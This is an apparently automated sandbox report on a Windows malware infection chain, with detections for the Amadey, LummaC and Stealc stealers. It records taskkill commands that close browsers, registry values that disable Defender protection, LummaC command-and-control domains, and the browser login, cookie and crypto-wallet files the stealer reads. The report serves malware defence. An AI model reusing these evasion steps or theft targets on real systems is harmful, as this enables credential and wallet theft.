Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EB652B mov eax, dword ptr fs:[00000030h]		6_2_00EB652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EBA302 mov eax, dword ptr fs:[00000030h]		6_2_00EBA302

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: 8ab7de79e4.exe PID: 7096, type: MEMORYSTR

LummaC encrypted strings found

Source: 51d383286f.exe, 00000008.00000003.2937706824.0000000005340000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: p3ar11fter.sbs
Source: 51d383286f.exe, 00000008.00000003.2937706824.0000000005340000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: 3xp3cts1aim.sbs
Source: 51d383286f.exe, 00000008.00000003.2937706824.0000000005340000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: peepburry828.sbs
Source: 51d383286f.exe, 00000008.00000003.2937706824.0000000005340000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: p10tgrace.sbs
Source: 51d383286f.exe, 00000008.00000003.2937706824.0000000005340000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: processhol.sbs

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe "C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe "C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe "C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe "C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe "C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T

Source: 436631dbc3.exe, 0000000B.00000002.3180708237.0000000000532000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: skotes.exe, skotes.exe, 00000006.00000002.3409583470.0000000001075000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: Program Manager
Source: 51d383286f.exe, 0000000A.00000002.3410308950.0000000000D8D000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: TProgram Manager
Source: e5323e2eed.exe, 00000007.00000002.3417304751.0000000000AE2000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: odspZProgram Manager
Source: firefox.exe, 0000001B.00000002.3279677334.0000000B31BFB000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?ProgmanListenerWi
Source: e5323e2eed.exe, e5323e2eed.exe, 00000007.00000002.3417304751.0000000000AE2000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: dspZProgram Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00E9D3E2 cpuid

6_2_00E9D3E2

Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00E9CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

6_2_00E9CBEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00E865E0 LookupAccountNameA,

6_2_00E865E0

Source: C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe

Registry value created: TamperProtection 0

Source: 51d383286f.exe, 00000008.00000003.3052144579.0000000001774000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3298934223.000000000142D000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3298881732.000000000142B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 0.2.file.exe.ac0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.skotes.exe.e80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.skotes.exe.e80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.e80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000003.2686166030.0000000005690000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2057255446.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2124985182.0000000000E81000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2129686314.0000000000E81000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3407707038.0000000000E81000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2099703092.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2083805317.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2087115717.0000000004B10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match	File source: 00000024.00000002.3415548136.0000000000ED8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.3178957327.000000000101F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 436631dbc3.exe PID: 2788, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 51d383286f.exe PID: 8020, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 51d383286f.exe PID: 3292, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000009.00000002.3409739852.0000000000DE1000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.3186567211.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.3024295095.00000000053B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3424417646.000000000178E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3414326186.0000000000DE1000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 8ab7de79e4.exe PID: 7096, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 51d383286f.exe	String found in binary or memory: Wallets/Electrum
Source: 51d383286f.exe	String found in binary or memory: Wallets/ElectronCash
Source: 51d383286f.exe	String found in binary or memory: window-state.json
Source: 51d383286f.exe	String found in binary or memory: Jaxx Liberty
Source: 51d383286f.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: 51d383286f.exe	String found in binary or memory: ExodusWeb3
Source: 51d383286f.exe	String found in binary or memory: Wallets/Ethereum
Source: 51d383286f.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 51d383286f.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
